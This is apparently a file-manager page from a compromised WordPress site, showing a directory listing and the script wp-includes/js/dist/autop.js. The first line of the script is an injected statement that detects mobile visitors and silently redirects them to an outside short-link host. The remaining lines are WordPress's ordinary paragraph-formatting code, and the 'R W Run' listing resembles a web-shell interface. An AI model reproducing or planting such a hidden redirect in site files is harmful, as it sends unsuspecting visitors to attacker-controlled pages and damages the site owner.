at path:ROOT / wp-includes / js / dist / autop.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄autop.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).autop = (() => {
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __hasOwnProp = Object.prototype.hasOwnProperty;
9 var __export = (target, all) => {
10 for (var name in all)
11 __defProp(target, name, { get: all[name], enumerable: true });
12 };
13 var __copyProps = (to, from, except, desc) => {
14 if (from && typeof from === "object" || typeof from === "function") {
15 for (let key of __getOwnPropNames(from))
16 if (!__hasOwnProp.call(to, key) && key !== except)
17 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
18 }
19 return to;
20 };
21 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
22
23 // packages/autop/build-module/index.mjs
24 var index_exports = {};
25 __export(index_exports, {
26 autop: () => autop,
27 removep: () => removep
28 });
29 var htmlSplitRegex = (() => {
30 const comments = "!(?:-(?!->)[^\\-]*)*(?:-->)?";
31 const cdata = "!\\[CDATA\\[[^\\]]*(?:](?!]>)[^\\]]*)*?(?:]]>)?";
32 const escaped = "(?=!--|!\\[CDATA\\[)((?=!-)" + // If yes, which type?
33 comments + "|" + cdata + ")";
34 const regex = "(<(" + // Conditional expression follows.
35 escaped + // Find end of escaped element.
36 "|[^>]*>?))";
37 return new RegExp(regex);
38 })();
39 function htmlSplit(input) {
40 const parts = [];
41 let workingInput = input;
42 let match;
43 while (match = workingInput.match(htmlSplitRegex)) {
44 const index = match.index;
45 parts.push(workingInput.slice(0, index));
46 parts.push(match[0]);
47 workingInput = workingInput.slice(index + match[0].length);
48 }
49 if (workingInput.length) {
50 parts.push(workingInput);
51 }
52 return parts;
53 }
54 function replaceInHtmlTags(haystack, replacePairs) {
55 const textArr = htmlSplit(haystack);
56 let changed = false;
57 const needles = Object.keys(replacePairs);
58 for (let i = 1; i < textArr.length; i += 2) {
59 for (let j = 0; j < needles.length; j++) {
60 const needle = needles[j];
61 if (-1 !== textArr[i].indexOf(needle)) {
62 textArr[i] = textArr[i].replace(
63 new RegExp(needle, "g"),
64 replacePairs[needle]
65 );
66 changed = true;
67 break;
68 }
69 }
70 }
71 if (changed) {
72 haystack = textArr.join("");
73 }
74 return haystack;
75 }
76 function autop(text, br = true) {
77 const preTags = [];
78 if (text.trim() === "") {
79 return "";
80 }
81 text = text + "\n";
82 if (text.indexOf("<pre") !== -1) {
83 const textParts = text.split("</pre>");
84 const lastText = textParts.pop();
85 text = "";
86 for (let i = 0; i < textParts.length; i++) {
87 const textPart = textParts[i];
88 const start = textPart.indexOf("<pre");
89 if (start === -1) {
90 text += textPart;
91 continue;
92 }
93 const name = "<pre wp-pre-tag-" + i + "></pre>";
94 preTags.push([name, textPart.substr(start) + "</pre>"]);
95 text += textPart.substr(0, start) + name;
96 }
97 text += lastText;
98 }
99 text = text.replace(/<br\s*\/?>\s*<br\s*\/?>/g, "\n\n");
100 const allBlocks = "(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)";
101 text = text.replace(
102 new RegExp("(<" + allBlocks + "[\\s/>])", "g"),
103 "\n\n$1"
104 );
105 text = text.replace(
106 new RegExp("(</" + allBlocks + ">)", "g"),
107 "$1\n\n"
108 );
109 text = text.replace(/\r\n|\r/g, "\n");
110 text = replaceInHtmlTags(text, { "\n": " <!-- wpnl --> " });
111 if (text.indexOf("<option") !== -1) {
112 text = text.replace(/\s*<option/g, "<option");
113 text = text.replace(/<\/option>\s*/g, "</option>");
114 }
115 if (text.indexOf("</object>") !== -1) {
116 text = text.replace(/(<object[^>]*>)\s*/g, "$1");
117 text = text.replace(/\s*<\/object>/g, "</object>");
118 text = text.replace(/\s*(<\/?(?:param|embed)[^>]*>)\s*/g, "$1");
119 }
120 if (text.indexOf("<source") !== -1 || text.indexOf("<track") !== -1) {
121 text = text.replace(/([<\[](?:audio|video)[^>\]]*[>\]])\s*/g, "$1");
122 text = text.replace(/\s*([<\[]\/(?:audio|video)[>\]])/g, "$1");
123 text = text.replace(/\s*(<(?:source|track)[^>]*>)\s*/g, "$1");
124 }
125 if (text.indexOf("<figcaption") !== -1) {
126 text = text.replace(/\s*(<figcaption[^>]*>)/, "$1");
127 text = text.replace(/<\/figcaption>\s*/, "</figcaption>");
128 }
129 text = text.replace(/\n\n+/g, "\n\n");
130 const texts = text.split(/\n\s*\n/).filter(Boolean);
131 text = "";
132 texts.forEach((textPiece) => {
133 text += "<p>" + textPiece.replace(/^\n*|\n*$/g, "") + "</p>\n";
134 });
135 text = text.replace(/<p>\s*<\/p>/g, "");
136 text = text.replace(
137 /<p>([^<]+)<\/(div|address|form)>/g,
138 "<p>$1</p></$2>"
139 );
140 text = text.replace(
141 new RegExp("<p>\\s*(</?" + allBlocks + "[^>]*>)\\s*</p>", "g"),
142 "$1"
143 );
144 text = text.replace(/<p>(<li.+?)<\/p>/g, "$1");
145 text = text.replace(/<p><blockquote([^>]*)>/gi, "<blockquote$1><p>");
146 text = text.replace(/<\/blockquote><\/p>/g, "</p></blockquote>");
147 text = text.replace(
148 new RegExp("<p>\\s*(</?" + allBlocks + "[^>]*>)", "g"),
149 "$1"
150 );
151 text = text.replace(
152 new RegExp("(</?" + allBlocks + "[^>]*>)\\s*</p>", "g"),
153 "$1"
154 );
155 if (br) {
156 text = text.replace(
157 /<(script|style).*?<\/\\1>/g,
158 (match) => match[0].replace(/\n/g, "<WPPreserveNewline />")
159 );
160 text = text.replace(/<br>|<br\/>/g, "<br />");
161 text = text.replace(
162 /(<br \/>)?\s*\n/g,
163 (a, b) => b ? a : "<br />\n"
164 );
165 text = text.replace(/<WPPreserveNewline \/>/g, "\n");
166 }
167 text = text.replace(
168 new RegExp("(</?" + allBlocks + "[^>]*>)\\s*<br />", "g"),
169 "$1"
170 );
171 text = text.replace(
172 /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)/g,
173 "$1"
174 );
175 text = text.replace(/\n<\/p>$/g, "</p>");
176 preTags.forEach((preTag) => {
177 const [name, original] = preTag;
178 text = text.replace(name, () => original);
179 });
180 if (-1 !== text.indexOf("<!-- wpnl -->")) {
181 text = text.replace(/\s?<!-- wpnl -->\s?/g, "\n");
182 }
183 return text;
184 }
185 function removep(html) {
186 const blocklist = "blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure";
187 const blocklist1 = blocklist + "|div|p";
188 const blocklist2 = blocklist + "|pre";
189 const preserve = [];
190 let preserveLinebreaks = false;
191 let preserveBr = false;
192 if (!html) {
193 return "";
194 }
195 if (html.indexOf("<script") !== -1 || html.indexOf("<style") !== -1) {
196 html = html.replace(
197 /<(script|style)[^>]*>[\s\S]*?<\/\1>/g,
198 (match) => {
199 preserve.push(match);
200 return "<wp-preserve>";
201 }
202 );
203 }
204 if (html.indexOf("<pre") !== -1) {
205 preserveLinebreaks = true;
206 html = html.replace(/<pre[^>]*>[\s\S]+?<\/pre>/g, (a) => {
207 a = a.replace(/<br ?\/?>(\r\n|\n)?/g, "<wp-line-break>");
208 a = a.replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g, "<wp-line-break>");
209 return a.replace(/\r?\n/g, "<wp-line-break>");
210 });
211 }
212 if (html.indexOf("[caption") !== -1) {
213 preserveBr = true;
214 html = html.replace(/\[caption[\s\S]+?\[\/caption\]/g, (a) => {
215 return a.replace(/<br([^>]*)>/g, "<wp-temp-br$1>").replace(/[\r\n\t]+/, "");
216 });
217 }
218 html = html.replace(
219 new RegExp("\\s*</(" + blocklist1 + ")>\\s*", "g"),
220 "</$1>\n"
221 );
222 html = html.replace(
223 new RegExp("\\s*<((?:" + blocklist1 + ")(?: [^>]*)?)>", "g"),
224 "\n<$1>"
225 );
226 html = html.replace(/(<p [^>]+>[\s\S]*?)<\/p>/g, "$1</p#>");
227 html = html.replace(/<div( [^>]*)?>\s*<p>/gi, "<div$1>\n\n");
228 html = html.replace(/\s*<p>/gi, "");
229 html = html.replace(/\s*<\/p>\s*/gi, "\n\n");
230 html = html.replace(/\n[\s\u00a0]+\n/g, "\n\n");
231 html = html.replace(/(\s*)<br ?\/?>\s*/gi, (_, space) => {
232 if (space && space.indexOf("\n") !== -1) {
233 return "\n\n";
234 }
235 return "\n";
236 });
237 html = html.replace(/\s*<div/g, "\n<div");
238 html = html.replace(/<\/div>\s*/g, "</div>\n");
239 html = html.replace(
240 /\s*\[caption([^\[]+)\[\/caption\]\s*/gi,
241 "\n\n[caption$1[/caption]\n\n"
242 );
243 html = html.replace(/caption\]\n\n+\[caption/g, "caption]\n\n[caption");
244 html = html.replace(
245 new RegExp("\\s*<((?:" + blocklist2 + ")(?: [^>]*)?)\\s*>", "g"),
246 "\n<$1>"
247 );
248 html = html.replace(
249 new RegExp("\\s*</(" + blocklist2 + ")>\\s*", "g"),
250 "</$1>\n"
251 );
252 html = html.replace(/<((li|dt|dd)[^>]*)>/g, " <$1>");
253 if (html.indexOf("<option") !== -1) {
254 html = html.replace(/\s*<option/g, "\n<option");
255 html = html.replace(/\s*<\/select>/g, "\n</select>");
256 }
257 if (html.indexOf("<hr") !== -1) {
258 html = html.replace(/\s*<hr( [^>]*)?>\s*/g, "\n\n<hr$1>\n\n");
259 }
260 if (html.indexOf("<object") !== -1) {
261 html = html.replace(/<object[\s\S]+?<\/object>/g, (a) => {
262 return a.replace(/[\r\n]+/g, "");
263 });
264 }
265 html = html.replace(/<\/p#>/g, "</p>\n");
266 html = html.replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g, "\n$1");
267 html = html.replace(/^\s+/, "");
268 html = html.replace(/[\s\u00a0]+$/, "");
269 if (preserveLinebreaks) {
270 html = html.replace(/<wp-line-break>/g, "\n");
271 }
272 if (preserveBr) {
273 html = html.replace(/<wp-temp-br([^>]*)>/g, "<br$1>");
274 }
275 if (preserve.length) {
276 html = html.replace(/<wp-preserve>/g, () => {
277 return preserve.shift();
278 });
279 }
280 return html;
281 }
282 return __toCommonJS(index_exports);
283})();
284